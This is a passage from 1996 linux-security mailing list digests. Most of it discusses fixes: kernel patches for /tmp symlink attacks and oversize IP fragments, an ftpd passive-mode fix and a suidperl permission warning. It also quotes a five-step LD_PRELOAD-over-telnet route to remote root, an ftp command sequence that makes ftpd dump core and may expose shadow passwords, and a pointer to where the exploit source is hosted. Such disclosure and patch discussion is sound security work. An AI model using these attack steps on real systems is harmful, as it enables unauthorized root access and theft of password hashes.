Smoorenburg, | mailto:[email protected] http://www.cistron.nl/ [email protected] | The truth is out there. 42. ------------------------------ From: Andrew Tridgell Date: Wed, 16 Oct 1996 19:54:05 +1000 Subject: [linux-security] Re: Alinux-securityA Attempt to break through ftp Evgeny wrote: > # strings ~ftp/incoming/lininfo.zip > > [skipped not interesting stuff] > > root-access > Welcome to the wonderful world of uid = 0 > squidge This comes from the "telnetd_exploit.tar.gz" package written by [email protected] (or at least thats the address in the readme that comes with the package). It exploits the LD_PRELOAD environment variable to attack telnetd. This is a well known security hole that has been discussed quite a lot here and other places. I used this package to demonstrate to the students the dangers of a writeable anonymous ftp directory. The student machines we use are quite old and are all vulnerable to this bug :-) Cheers, Andrew - -- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Andrew Tridgell Dept. of Computer Science email: [email protected] Australian National University Phone: +61 6 254 8209 Fax: +61 6 249 0010 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- ------------------------------ From: Bruno Boettcher Date: Thu, 17 Oct 1996 09:39:44 +0200 (MET DST) Subject: [linux-security] lots of in.comsat calls lately... Hello, last days i had lots of reports about in.comsat calls from other hosts in my domain.... Are there only goofy users or is there any exploit on this? [REW: There certainly are holes in comsat when your utmp file is world writable, (which some people do to be able to strip the suid bit off xterm and friends.)] ciao [email protected] ------------------------------ From: Rob van Nieuwkerk Date: Thu, 17 Oct 1996 12:53:46 +0200 (MET DST) Subject: Re: [linux-security] Attempt to break through ftp > Basic (remote) attack goes as follows: > > 1) FTP this library into a site's incoming area. > > 2) Start telnet. > > 3) Pass the fully-qualified path to the library in the remote system's > FTP incoming area as $LD_PRELOAD via telnet's environment-passing > features. > > 4) Connect to the remote system. > > 5) You've now got root on the remote system, without any authentication. > Local attack varies in that you can use /tmp for stashing the library > and then just connect to localhost. (These instructions can all be > found in the readme for the source code.) Does anyone know if SSH is vulnerable to this trick ? Rob van Nieuwkerk ------------------------------ End of linux-security-digest V2 #68 *********************************** linux-security-digest/v02.n069100664 1767 1767 50017 6232143012 15443 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #69 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Saturday, 19 October 1996 Volume 02 : Number 069 Re: Re[2]: [linux-security] Attempt to break through ftp [linux-security] Re: ftpd bug? Was: bin/1805: Bug in ftpd (fwd) [linux-security] WinNT security? [linux-security] a /tmp solution [linux-security] t bit and symlinks patch [linux-security] Security hole in installation of suidperl from RedHat 4.0 Re: [linux-security] Attempt to break through ftp Re: [linux-security] lots of in.comsat calls lately... Re: [linux-security] Security hole in installation of suidperl from RedHat 4.0 [linux-security] Re: t bit and symlinks patch Re: [linux-security] WinNT security? [linux-security] Re: t bit and symlinks patch Re: [linux-security] WinNT security? ---------------------------------------------------------------------- From: Comfort is Treachery Date: Thu, 17 Oct 1996 10:47:38 +0100 (MET) Subject: Re: Re[2]: [linux-security] Attempt to break through ftp On Wed, 16 Oct 1996, Evgeny Stambulchik wrote: > Comfort is Treachery wrote: > > > Don't you have identd in your logs? > > AFAIU, identd should be running on client's box + ftpd server must be able to > talk to it. Which ftpd has this capability? maybe I didn't make myself clear; I mean, don't you have your tcpwrappers set up to log the auth info from the other side. Ftpd has nothing (little?) to do with it. [REW: Well but what tcp wrappers do, could also be done by the ftp deamon itself. I've seen ftp-deamons greet me with "hello username@mymachine" where it filled in my username whenever I had an identd running] Oct 17 11:41:28 kyojutsu wu.ftpd[16901]: connect from [email protected] Oct 17 11:41:42 kyojutsu ftpd[16901]: USER guesttry Oct 17 11:41:43 kyojutsu ftpd[16901]: PASS password Oct 17 11:41:44 kyojutsu ftpd[16901]: failed login from reptile.rug.ac.be [157.193.69.63], guesttry Oct 17 11:41:54 kyojutsu in.telnetd[16902]: connect from [email protected] of course *you* can not trust this information, but *the other side* can try and track down who did it, depending on what they run on there (no use with a ppp account :-) *-=-*-=-*-=-*-=-*-=-*-=-*-=-*-=-*-=-*-=-*-=-*-=-*-=-*-=-*-=-*-=-*-=-*-=-*-=-* Wim Vandeputte --So pound the nails in tight-- ------------------------------ From: Derek Elder Date: Thu, 17 Oct 1996 12:06:40 -0500 (CDT) Subject: [linux-security] Re: ftpd bug? Was: bin/1805: Bug in ftpd (fwd) Making sure this is looked at... | Derek Elder V.P., Network Operations| | [email protected] 888-637-3638 Ext. 21 | >Return-Path: [email protected] >From: Tim Hudson >Subject: Re: ftpd bug? Was: bin/1805: Bug in ftpd >To: [email protected] >Date: Thu, 17 Oct 1996 15:21:10 +1000 (EST) >Reply-To: [email protected] >Sender: [email protected] > > >According to Francis Liu: >> There is a discussion going on bugtraq about how ftpd can dump core >> exposing shadow passwords in the core file. Some people have also >> managed to make it follow symbolic links -> overwriting arbitrary files. >> >> I've managed to get a core dump using SSLftp 0.9 (so I guess I can >> make it overwrite files), but I haven't managed to get the shadow >> passwords, yet. >> >> Apparently the problem is in the wu-ftpd code somewhere. >> >> > logon via ftp with your regular user/password, >> > ftp> cd /tmp >> > ftp> user root wrongpasswd >> > ftp> quote pasv > > Actually the problem is in the base BSD ftpd code ... which most Unix >varients have inherited these days - don't blame wu for this bug. >The fix is (as usual) rather simple ... > > In ftpd/ftpd.c edit the function passive() to check for a null pw and >then return an error message. You may want to add logging of attempted >attacks if you are interested in tracking down problem users who don't know >how to hide effectively. > > /* don't let passive be set unless we are logged in! > * - this stops one of the core-dump holes in ftpd > * --tjh > */ > if (pw==NULL) { > perror_reply(425, "Open passive connection denied - not logged in"); > return; > } > > Alternatively you can change the ftpd code to block all core dumping >signals and log an error message an exit ... or perhaps have a more >pervasive check that the user is connected before allowing any of these >sort of commands to be invoked. > > The first patch is included in SSLftp[d]-0.10 due out in the next >few days. > >Tim. > > ------------------------------ From: Michael Meskes Date: Thu, 17 Oct 1996 10:33:41 +0200 (MET DST) Subject: [linux-security] WinNT security? My company uses NT on most machines and intends to use it for the upcoming internet connection, too. Now I wonder whether there's any reason to use NT over Linux? Or in other words does anyone have amountion for me to talk them into using Linux on the primary net machine? I just noticed that NT only send encrypted passwords over the net. This seems to be a good idea. I just wonder how secure there algorithms are. Does anyone know how it compares to ssh? This may be off-topic but does anyone know if there's a similar list for NT? Michael - -- Michael Meskes | _____ ________ __ ____ [email protected] | / ___// ____/ // / / __ \___ __________ [email protected] | \__ \/ /_ / // /_/ /_/ / _ \/ ___/ ___/ [email protected] | ___/ / __/ /__ __/\__, / __/ / (__ ) Use Debian GNU/Linux! | /____/_/ /_/ /____/\___/_/ /____/ ------------------------------ From: Andrew Tridgell Date: Fri, 18 Oct 1996 10:39:35 +1000 Subject: [linux-security] a /tmp solution Here is yet another proposal for a generic fix to the security problems inherent in /tmp. Most (all?) of the problems center around using a symlink in /tmp to redirect a sloppily written filesystem operation to another place on the system. It seems to me that we need a way of preventing this kind of thing without disrupting the legitimate use of symlinks. Trying to fix every piece of code (and script) out there that might write to /tmp is a battle we can't win. My proposal is to change the semantics of symlinks when they are in directories which have the 't' bit set. Specifically, the namei code would not follow a symlink if the symlink is in a directory with the t bit set and the euid of the process does not match the owner of the symlink. This specifically includes the case where the euid of the process is 0 (thus root could not follow symlinks in /tmp that it does not own) I think that this would prevent all the /tmp symlink attacks I have heard of, and yet I don't think it would significantly impact on legitimate uses for symlinks, including in /tmp. I think that readlink() should be left alone, so "ls -l" will still show the destination of the link. Only the namei code would be altered. One problem might be the performance impact of looking up the permissions on the directory when following all symlinks, but I think that this can be minimised with a bit of careful coding. I know there have been other proposals on how to fix this problem, but in each case I think that the proposed changes were a bit too intrusive into the "normal" way people run unix boxes. I hope that the above proposal solves this. I started thinking about this while fixing a symlink-in-/tmp security hole in Samba. It required some quite careful coding (much more than just setting O_EXCL). At the same time I realised how many other common uses for /tmp may be vulnerable. For example, I often do things like "cat foo.dat | cut -f3 | sort -u > /tmp/foo". I know I should instead use ~/tmp/foo but old habits die hard. How many home-grown admin scripts are there out there that put stuff in /tmp using shell commands like that one? Cheers, Andrew ------------------------------ From: Andrew Tridgell Date: Fri, 18 Oct 1996 22:40:52 +1000 Subject: [linux-security] t bit and symlinks patch Here is an implementation of my proposal for fixing the "symlink-in-/tmp" style of security hole. Please let me know if you can see any problems with this patch, or a better way of doing it. This patch is against kernel 2.0.22 but should work with any recent kernel. Cheers, Andrew - --- linux/fs/namei.c.orig Fri Oct 18 22:21:43 1996 +++ linux/fs/namei.c Fri Oct 18 22:07:06 1996 @@ -17,6 +17,7 @@ #include #include #include +#include #define ACC_MODE(x) ("\000\004\002\006"[(x)&O_ACCMODE]) @@ -205,6 +206,20 @@ *res_inode = inode; return 0; } +#ifdef CONFIG_SYMLINK_FIX + /* don't follow links in directories that have the t bit set + if the fsuid != the owner of the link. This stops all + the nasty "symlink-in-/tmp" security holes. Note + that this explicitly includes root (tridge) + */ + if (S_ISLNK(inode->i_mode) && (dir->i_mode & S_ISVTX) && + current->fsuid != inode->i_uid) { + iput(dir); + iput(inode); + *res_inode = NULL; + return -EPERM; + } +#endif return inode->i_op->follow_link(dir,inode,flag,mode,res_inode); } - --- linux/fs/Config.in.orig Fri Oct 18 22:21:24 1996 +++ linux/fs/Config.in Fri Oct 18 22:06:10 1996 @@ -6,6 +6,7 @@ bool 'Quota support' CONFIG_QUOTA bool 'Mandatory lock support' CONFIG_LOCK_MANDATORY +bool 'Symlink security fix' CONFIG_SYMLINK_FIX tristate 'Minix fs support' CONFIG_MINIX_FS tristate 'Extended fs support' CONFIG_EXT_FS tristate 'Second extended fs support' CONFIG_EXT2_FS - --- linux/Documentation/Configure.help.orig Fri Oct 18 22:22:23 1996 +++ linux/Documentation/Configure.help Fri Oct 18 22:13:16 1996 @@ -2798,6 +2798,17 @@ writing none of these are available. So it's safest to say N here unless you really know that you need this feature. +Symlink security fix +CONFIG_SYMLINK_FIX + A very common class of security hole on unix-like systems involves a + malicious user creating a symbolic link in /tmp pointing + at another users file (often a file owned by root). When the victim + then writes to that file they inadvertently write to the wrong file. + Enabling this option fixes this class of security hole by preventing + a process from following a link which is in a directory with the t bit + set unless they own the link. + It is highly recommended that you say yes to this option. + Minix fs support CONFIG_MINIX_FS Minix is a simple operating system used in many classes about ------------------------------ From: Leos Bitto Date: Fri, 18 Oct 1996 15:53:09 +0200 (MET DST) Subject: [linux-security] Security hole in installation of suidperl from RedHat 4.0 I've found security hole in installation of suidperl from RedHat 4.0. After installation it has suid bit AND sgid bit set. It needs only suid bit. When you leave sgid bit on, it will allow anybody to gain access to group 0 (root). So do immediatelly "chmod g-s /usr/bin/suidperl" as root, if you have RedHat 4.0 installed. Leos Bitto ------------------------------ From: Bryan Reece Date: 18 Oct 1996 14:16:05 -0000 Subject: Re: [linux-security] Attempt to break through ftp From: Rob van Nieuwkerk Date: Thu, 17 Oct 1996 12:53:46 +0200 (MET DST) > Basic (remote) attack goes as follows: > > 1) FTP this library into a site's incoming area. > > 2) Start telnet. > > 3) Pass the fully-qualified path to the library in the remote system's > FTP incoming area as $LD_PRELOAD via telnet's environment-passing > features. > > 4) Connect to the remote system. > > 5) You've now got root on the remote system, without any authentication. > Local attack varies in that you can use /tmp for stashing the library > and then just connect to localhost. (These instructions can all be > found in the readme for the source code.) Does anyone know if SSH is vulnerable to this trick ? Shouldn't be, since it doesn't exec anything as root, and other than TERM (whatever the client wants) and DISPLAY (set to a fake value if the client wants), ssh seems not to let the client affect any variables. ------------------------------ From: David Holland Date: Sat, 19 Oct 1996 02:22:51 -0400 (EDT) Subject: Re: [linux-security] lots of in.comsat calls lately... > last days i had lots of reports about in.comsat calls from other hosts in > my domain.... > Are there only goofy users or is there any exploit on this? I don't know of any issues in in.comsatd, but if you find any, let me know. Is there any reason comsatd should ever accept packets from anyplace other than localhost? In any event unless you actually need comsatd I'd recommend shutting it off. It's not a terribly great idea in a number of ways. > [REW: There certainly are holes in comsat when your utmp file is > world writable, (which some people do to be able to strip the suid bit > off xterm and friends.)] I believe the current comsatd source is reasonably resistant to these problems, due to some Sun exploits that were floating around a few years ago. There are certainly easier ways to attack via a writeable utmp than comsatd. - -- - David A. Holland | VINO project home page: [email protected] | http://www.eecs.harvard.edu/vino ------------------------------ From: [email protected] (Andrzej K. Brandt) Date: Sat, 19 Oct 1996 10:06:52 +0100 (MET) Subject: Re: [linux-security] Security hole in installation of suidperl from RedHat 4.0 Leos Bitto wrote: > I've found security hole in installation of suidperl from RedHat 4.0. After > installation it has suid bit AND sgid bit set. It needs only suid bit. > When you leave sgid bit on, it will allow anybody to gain access to group > 0 (root). So do immediatelly "chmod g-s /usr/bin/suidperl" as root, if > you have RedHat 4.0 installed. I've just installed RedHat 4.0 for Sparc - and suidperl hasn't sgid set. - -- /-------------------+--------+-------------------+-------------------------\ I Andrzej K. Brandt I SP5WCA I [email protected] I [email protected] I +-------------------+--------+-----+-------------+-------------------------+ | http://melkor.mimuw.edu.pl/~andy | IRC: Emin | PGP key available | \--------------------------------------------------------------------------/ ------------------------------ From: Andrew Tridgell Date: Sat, 19 Oct 1996 10:50:55 +1000 Subject: [linux-security] Re: t bit and symlinks patch Alan wrote: > Nice idea. IMHO however the fix is to stop people writing applications > that use /tmp for everything. /tmp was a great idea once upon a time. Its > value nowdays is a bit questionable. Better that daemons use /var/run > and applications $HOME/.files I generally agree, its just that I think its hard to actually change all those programs (and programmers) out there that use /tmp. I also think that the change does in fact breath new life into /tmp. Are there any /tmp related security holes that it doesn't fix? There probably are some, its just that I can't think of them right now. Anyway, I've updated my patch slightly. I changed it so that symlinks owned by root are not affected. This is safe and means it breaks less things. With my original patch I found that one thing broke on my mail server. I had a link called "tridge" owned by root in /var/spool/mail that pointed to /home/tridge/InBox (due to a transition in mailer behaviour). I also had /var/spool/mail world writeable with the t bit set. My original patch meant I couldn't run programs that referenced /var/spool/mail/tridge. This is now the active bit of the patch: if (S_ISLNK(inode->i_mode) && (dir->i_mode & S_ISVTX) && inode->i_uid != 0 && current->fsuid != inode->i_uid) { iput(dir); iput(inode); *res_inode = NULL; return -EPERM; } the full patch is available from ftp://samba.anu.edu.au/pub/linux/symlink.patch Cheers, Andrew ------------------------------ From: Yuri Volobuev Date: Fri, 18 Oct 1996 13:37:05 -0500 (CDT) Subject: Re: [linux-security] WinNT security? > My company uses NT on most machines and intends to use it for the upcoming > internet connection, too. Now I wonder whether there's any reason to use > NT over Linux? Or in other words does anyone have amountion for me to > talk them into using Linux on the primary net machine? There were some pretty nasty problems with weak algorithm used for storing encrypted passwords on the disk (the original bug was discovered in Win95, but it may apply to NT). It was breakable in <1sec on a slow Sun with proper cracker. I also heard about bad problems with file sharing: one may export one folder ro and anyone on the subnet can access whole disk (with weakly encrypted passwords on it). On the other hand, NT is C2-certified. I don't like M$ and I don't want to engage in a flame war, so I won't comment. We had a similar discussion here recently, and Linux won. The winning argument was: ok, all OSes have holes. What happens if there's a hole in Linux? You look in the source and fix it, or wait couple days and apply a patch. What happens if hole is found in NT? You are screwed. The bug _may_ be fixed in the next Service Pack, which will be released b.g.-knows-when. Also, the only good test for any security system is exposing its source to the public for rigorous testing. > This may be off-topic but does anyone know if there's a similar list for > NT? from http://www.it.kth.se/~rom/ntsec.html There is a NT security mailing list maintained by the good folks at ISS. You subscribe to it by sending a mail to [email protected] with the body containing the string "subscribe ntsecurity your email". The mailinglist have some traffic and on-going discussion, and some people might prefer to subscribe to the digest version instead to reduce their incoming mail. The digest is available by sending mail to the same address but with the text "subscribe ntsecurity-digest your email". - --- yuri ------------------------------ From: =?ISO-8859-1?Q?Johan_Myr=E9en?= Date: Fri, 18 Oct 1996 18:35:32 +0300 (EET DST) Subject: [linux-security] Re: t bit and symlinks patch On Fri, 18 Oct 1996, Marty Leisner wrote: > I really think that maybe some runtime sysconfig > program would be desirable, instead of adding configuration > options? Or a per file system mount option? All other settings comparable to this are mount options (nosuid, exec, user, ...) Johan Myreen [email protected] ------------------------------ From: [email protected] (Twiggy) Date: Fri, 18 Oct 1996 11:21:16 -0400 Subject: Re: [linux-security] WinNT security? >I just noticed that NT only send encrypted passwords over the net. This >seems to be a good idea. I just wonder how secure there algorithms are. >Does anyone know how it compares to ssh? you may want to look into NT's telnet and ftp services before discussing any "robust encryption" they offer. NT's encryption of PWL files is also a serious issue. i have doubts any encryption found in any build of NT could compare to ssh in terms of integrity. this could be quite compounded if Microsoft uses proprietary encryption standards (which they have implemented in NT's RAS, at least in 3.51) and doesn't provide any real information on them, which unfortunately seems likely. [REW: Of course their encryption is weak. Otherwise they wouldn't be allowed to export it! Right?] >This may be off-topic but does anyone know if there's a similar list for NT? send mail to [email protected] and include in the body: subscribe ntsecurity twiggy [email protected] http://www.suicide.org ------------------------------ End of linux-security-digest V2 #69 *********************************** linux-security-digest/v02.n070100664 1767 1767 53127 6233774541 15462 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #70 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Thursday, 24 October 1996 Volume 02 : Number 070 [linux-security] safe ftpd's Re: [linux-security] Re: t bit and symlinks patch Re: [linux-security] WinNT security? [linux-security] ncpmount/ncpumount [linux-security] certifications, etc. [linux-security] NFS, /proc, and nfsd --re-export [linux-security] firewall again Re: [linux-security] safe ftpd's [linux-security] URGENT: Bug in linux networking stack Re: [linux-security] ncpmount/ncpumount Re: [linux-security] Re: t bit and symlinks patch [linux-security] telnetd_exploit source Re: [linux-security] Re: t bit and symlinks patch Re: [linux-security] safe ftpd's [linux-security] Possible compromise? ---------------------------------------------------------------------- From: Robert Luce Date: Fri, 18 Oct 1996 09:22:12 -0700 (PDT) Subject: [linux-security] safe ftpd's I keep seeing all these messages about problems with wu-ftpd that seem almost unsurmountable.. tell me, is there a known safe ftpd for linux? If so, where can it be found? - ---- Bob Luce "Il faut supporter deux ou trois chenilles System/News Administrator si on veut connaitre les papillons.." - Antoine de Saint-Exupery Finger [email protected] for PGP Public Key Block ------------------------------ From: [email protected] (Wietse Venema) Date: Sat, 19 Oct 96 14:37:21 MET DST Subject: Re: [linux-security] Re: t bit and symlinks patch To my surprise the discussion focuses entirely on symlink attacks from world-writable directories. I remind the reader that many of these attacks are also possible when sensitive files can be hardlinked to, for example, the /tmp directory. Wietse ------------------------------ From: "Michael H. Warfield" Date: Sat, 19 Oct 1996 11:09:30 -0400 (EDT) Subject: Re: [linux-security] WinNT security? This really is off topic but there is enough miss-information (BOTH WAYS) here that it HAS to be addressed! Yuri Volobuev enscribed thusly: > > My company uses NT on most machines and intends to use it for the upcoming > > internet connection, too. Now I wonder whether there's any reason to use > > NT over Linux? Or in other words does anyone have amountion for me to > > talk them into using Linux on the primary net machine? > There were some pretty nasty problems with weak algorithm used for storing > encrypted passwords on the disk (the original bug was discovered in Win95, > but it may apply to NT). It was breakable in <1sec on a slow Sun with > proper cracker. I also heard about bad problems with file sharing: one may > export one folder ro and anyone on the subnet can access whole disk (with > weakly encrypted passwords on it). NO! This has NOTHING to do with NT. This was a Windows 95 stupidity, pure and simple. Windows NT has NEVER been subject to the same type of password vulnerability that the anal retentive Windows 95 was. Windows NT stores passwords in it's registry and is at least as secure as Linux with shadow passwords enabled. Window 95 use stupid, asinine, *.pwl files which used weak encryption (now much improved) and the user id in both the file name and in a known location in the file (still the same and enabling known text cryptographic analysis). Anyone using Windows 95 in a secure business setting is a jerk, but don't paint Windows NT with that brush. Windows 95 had a problem commonly refered to as a "dot...dot" bug where someone could request a file ../../../foo.bar and walk past the root of a share. This made your entire hard drive (including those lovely vulnerable .pwl files) available to anyone if you shared anything. Windows NT version 3.5 and Windows 3.51 prior to service pack 4 had a type of "dot...dot" bug, but in there case it just blew them back to the blue screen of death (NT equivalent of a kernel panic). This is not nearly as serious since an intruder could only disrupt your system, they couldn't steal anything from it like passwords. This is fixed in current versions of NT. > On the other hand, NT is C2-certified. I don't like M$ and I don't want to > engage in a flame war, so I won't comment. We had a similar discussion here > recently, and Linux won. The winning argument was: ok, all OSes have holes. > What happens if there's a hole in Linux? You look in the source and fix it, > or wait couple days and apply a patch. What happens if hole is found in NT? > You are screwed. The bug _may_ be fixed in the next Service Pack, which > will be released b.g.-knows-when. Also, the only good test for any security > system is exposing its source to the public for rigorous testing. Another case of pure unadulterated BULLSHIT and Microsoft hype! Windows NT 3.5 was evaluated for C2 but only if it had NO network and NO floppy drive and only on 3 particular models of PC! Real useful. But the silly chumps who buy NT quickly marched out and proclaimed to the world that NT was C2 certified! This is the same NT 3.5 that can be blown off the face of the map by the dot...dot bug and upgrading invalidated the evaluation criterion (but then so did the network connection :-) ). So much for C2. [REW: Deleted the umtieth reference to the NT security lists.] Mike - -- Michael H. Warfield | (770) 985-6132 | [email protected] (The Mad Wizard) | (770) 925-8248 | http://www.wittsend.com/mhw/ NIC whois: MHW9 | An optimist believes we live in the best of all PGP Key: 0xDF1DD471 | possible worlds. A pessimist is sure of it! ------------------------------ From: Runar Jensen Date: Sun, 13 Oct 1996 19:07:32 -0500 Subject: [linux-security] ncpmount/ncpumount I haven't had a chance to look at the source code yet, but it appears that ncpmount and ncpumount suffer from exactly the same problem that mount and umount did. In fact, the mount exploit that was so widely circulated works with ncpumount with no modifications. ncpmount/ncpumount are part of the ncpfs package, which allows Linux to communicate with Netware servers. From the manpage: ncpfs is a linux filesystem which understands the NCP protocol. This is the protocol Novell NetWare clients use to talk to NetWare servers. ncpfs was inspired by lwared, a free NetWare emulator for Linux written by Ales Dryak. See ftp://klokan.sh.cvut.cz/pub/linux for this very intersting program. I'm not sure what the latest version of this package is; the one I used to verify this is v0.18. [REW: The test squad reported that the latest version still has this bug....] .../ru - ---------------------------------------------------------------------------- Runar Jensen | Phone: (318) 289-0125 | E-mail: [email protected] System Administrator | Fax: (318) 235-1447 | E-pager: [email protected] FirstNet of Acadiana | Pager: (318) 268-8556 | [message in subject] - ---------------------------------------------------------------------------- ------------------------------ From: Yuri Volobuev Date: Sun, 20 Oct 1996 00:30:44 -0500 (CDT) Subject: [linux-security] certifications, etc. Hi I guess I didn't make myself clear. Yes, I know that NT isn't C2 if it's on the net, it wasn't my point. The point is: Linux has no certification at all, not even C3, and probably never will, by its very nature. [REW: (*)] I personally don't regret about it, but people who have bosses do. If you are a corporate IS, you have to look at things differently. Even if such a person knows Linux is better, he/she still has to prove it to the Boss, and in such an argument NT certainly sounds better than Linux. It's not only security, it's everything. Open any PC Mag and you'll see what I mean. If Linux ever gets mentioned, it's only like an interesting phenomena, not like a trustworthy OS. It pisses me of each time, but unfortunately it's true -- Linux isn't a corporate users choice. There are exceptions, but... And security is one of the points. While Linux is (IMHO) is better, NT is safer. [REW: (#)] "No one ever got fired for buying IBM" - Micro$oft plays the same game. It's not an advocacy group, so... On the other hand, NT exists for few years now, without many serious security problems discovered, while Unices have dozens of them, some inherently difficult to fix (just looking at sendmail history can make one think NT), because Unix architecture is better known and many utilities share common parts of source code available to public, so finding holes is easier. Linux holes are known better than holes in any other OS (see CERT advisories). So even though C2 is empty buzzword, it does reflect the reality in some sense, -- and that's what I originally meant. yuri [REW: (*) I don't think that that is true. Eventually someone will simply go out and ask for C2 certification, just like it was done with Posix. (Yes, we're not even close yet....) I think that the Microsoft policy of "try to prevent CERT warnings about NT" is paying off. The Unix vendors have been blackmailed into allowing CERT warnings. This way everyone is informed that there is an occasional security hole discovered, and that it's been fixed. In the Windows NT arena, you call microsoft, they tell you to disable the service, and maybe they'll fix it the next release a few years from now..... (#) I prefer to read this in the light of the following statement.... "NT is safer if you want to keep your job..... " :-) I'd like to close this discussion. I'll (always) make an exception for arguments that can help convice management to take a Linux system in favor of an NT system.] ------------------------------ From: Olaf Kirch Date: Sat, 19 Oct 1996 21:02:23 +0200 Subject: [linux-security] NFS, /proc, and nfsd --re-export Hi all, This is really no big deal, but maybe it's worthwhile to keep in mind. I recently started wondering what would happen when someone managed to write values to certain /proc files via NFS, and it sent cold shivers down my back. I looked a bit closer at it and found that the problem is a non-problem for most sites. The reason is that nfsd refuses to access file systems which reside on a device with major number 0. This is mainly aimed at denying transitive access to FSs mounted from other remote hosts. However, as a virtual FS, procfs also uses a major number of 0. This feature can be disabled when you specify the --re-export or -r flag, however. So, don't use --re-export, or, if you insist on doing so, e.g. because you wish to distribute a Novell FS to other UNIX clients, do yourself a favor and don't export your root fs (a bad habit anyway). Have a nice day Olaf ------------------------------ From: Michael Meskes Date: Sat, 19 Oct 1996 21:12:09 +0200 (MET DST) Subject: [linux-security] firewall again I just read that I don't need fwtk (or similar tools) to setup a firewall under Linux. All it needs is redir. From it's Debian description: redir is all you need to redirect traffic across firewalls authenticate based on an IP address etc etc. No need for the firewall toolkit. The functionality of inetd/tcpd and "redir" will allow you to do everything you need without screwy telnet/ftp etc gateways. (I assume you are running IP Masquerading of course.) Did anyone set up a firewall that way? I'd like to hear more about the how good it works. Michael - -- Michael Meskes | _____ ________ __ ____ [email protected] | / ___// ____/ // / / __ \___ __________ [email protected] | \__ \/ /_ / // /_/ /_/ / _ \/ ___/ ___/ [email protected] | ___/ / __/ /__ __/\__, / __/ / (__ ) Use Debian GNU/Linux! | /____/_/ /_/ /____/\___/_/ /____/ ------------------------------ From: Shmoe Date: Sat, 19 Oct 1996 17:25:36 -0400 (EDT) Subject: Re: [linux-security] safe ftpd's On Fri, 18 Oct 1996, Robert Luce wrote: > is there a known safe ftpd for linux? most of the wu-ftpd problems are from people not running the current ver.. get beta 11 (12 could be out.. not sure) from ftp.academ.com [REW: Some people remark, "I use beta-11, and I haven't had any problems", but this is a non-argument. Why? Because of course the latest version has all known bugs fixed. If I don't trust sendmail anymore because of its track record, you can go shouting "but the latest version 8.x.y is safe!" all you want, but it won't convince me.... I think the wu-ftpd situation is better than sendmmail's, but that won't convince Robert.] /-------------------------\ /-------------------------------------------------\ | [email protected] | | GalaxyNet Oper/Admin | | [email protected] | | elpaso.tx.us.galaxynet.org/irc.aip.net | | [email protected] | | Channel Registration Commitee Member | \-------------------------/ \-------------------------------------------------/ ------------------------------ From: Alan Cox Date: Mon, 21 Oct 1996 10:25:45 +0100 Subject: [linux-security] URGENT: Bug in linux networking stack There is a nasty bug whereby AIX, Digital Unix, Linux and possibly some other systems can be brought down remotely by a suitably constructed oversize packet. Unfortunately a bug in another well known PC operating system means its easy to generate such packets. ** This bug is being actively exploited on the internet against all the ** mentioned systems. This fix should be considered essential as should ** other equivalent vendor fixes The following Linux fix drops such faulty frames and will also be included in 2.0.24 Alan Cox [Patch also available from http://www.uk.linux.org/patches/] - --- ip_fragment.c.old Mon Sep 16 22:14:52 1996 +++ ip_fragment.c Sat Oct 19 01:04:47 1996 @@ -366,7 +366,7 @@ { NETDEBUG(printk("Invalid fragment list: Fragment over size.\n")); ip_free(qp); - - frag_kfree_skb(skb,FREE_WRITE); + kfree_skb(skb,FREE_WRITE); ip_statistics.IpReasmFails++; return NULL; } @@ -466,6 +466,18 @@ return NULL; } } + + /* + * Attempt to construct an oversize packet. + */ + + if(ntohs(iph->tot_len)+(int)offset>65535) + { + skb->sk = NULL; + frag_kfree_skb(skb, FREE_READ); + ip_statistics.IpReasmFails++; + return NULL; + } /* * Determine the position of this fragment. ------------------------------ From: Baba Z Buehler Date: Mon, 21 Oct 1996 11:27:48 -0500 Subject: Re: [linux-security] ncpmount/ncpumount Runar Jensen writes: > I haven't had a chance to look at the source code yet, but it appears that > ncpmount and ncpumount suffer from exactly the same problem that mount and > umount did. In fact, the mount exploit that was so widely circulated works > with ncpumount with no modifications. > Wouldn't the best thing to do be to roll ncp(un)mount, smb(un)mount into the standard Linux mount command? b - -- # Baba Z Buehler - 'Hackito Ergo Sum' # Beckman Institute Systems Services, Urbana Illinois # # "It's no use loving someone who hates themself." -- Uncle Tupelo # # PGP public key on WWW homepage and key servers (key id: C13D8EE1) # WWW: http://www.beckman.uiuc.edu/~baba/ ------------------------------ From: Andrew Tridgell Date: Tue, 22 Oct 1996 09:01:36 +1000 Subject: Re: [linux-security] Re: t bit and symlinks patch Wietse wrote: > Hard links, soft links, either is sufficient to attack sensitive files > by exploiting naive programs, but the `t' bit is not a requirement at > all. Am I missing something here? The security problems only occur when one user is able to create a link that affects what another users program will do. This occurs in directories to which multiple users can write. The main examples are /tmp, /var/spool/uucp, /var/spool/mail etc. When you want to make such directories "safe" while still enabling multiple users to write you set the t bit. The t bit means that only the owner of the file can delete the file, which is normally what is wanted in a shared directory. If you don't have the t bit set in a shared directory then you either trust everyone who can write to the directory or you are very insecure. The proposed changes to the behaviour of links extends this idea by making the t bit also limit other behaviour which is even more dangerous than allowing people to delete files. Allowing users to follow links owned by other users is more dangerous than allowing them to delete files because by following links they can destroy files anywhere on the system, not just the files created by the programs that write to /tmp. Cheers, Andrew ------------------------------ From: Andrew Tridgell Date: Mon, 21 Oct 1996 23:13:55 +1000 Subject: [linux-security] telnetd_exploit source I received a lot of requests for a copy of the source to the telnetd_exploit.tar.gz I mentioned in an earlier message to this list. If you want this package then look at http://www.deter.com/unix/ This site has lots of packages of this type, along with some interesting security related papers. Cheers, Andrew ------------------------------ From: Andrew Tridgell Date: Mon, 21 Oct 1996 23:51:07 +1000 Subject: Re: [linux-security] Re: t bit and symlinks patch Wietse wrote: > To my surprise the discussion focuses entirely on symlink attacks from > world-writable directories. I remind the reader that many of these > attacks are also possible when sensitive files can be hardlinked to, > for example, the /tmp directory. You're dead right. I plan on doing an updated patch that fixes this and also addresses some of the other ideas people have sent me. I think we need to fix the hard link problem at link creation time rather than by checking for link counts at lookup time, because once the hard link is created its impossible to tell who created it, and thus we couldn't allow for root creating hard links in /tmp (which can be useful) So I propose that we disallow the creation of a 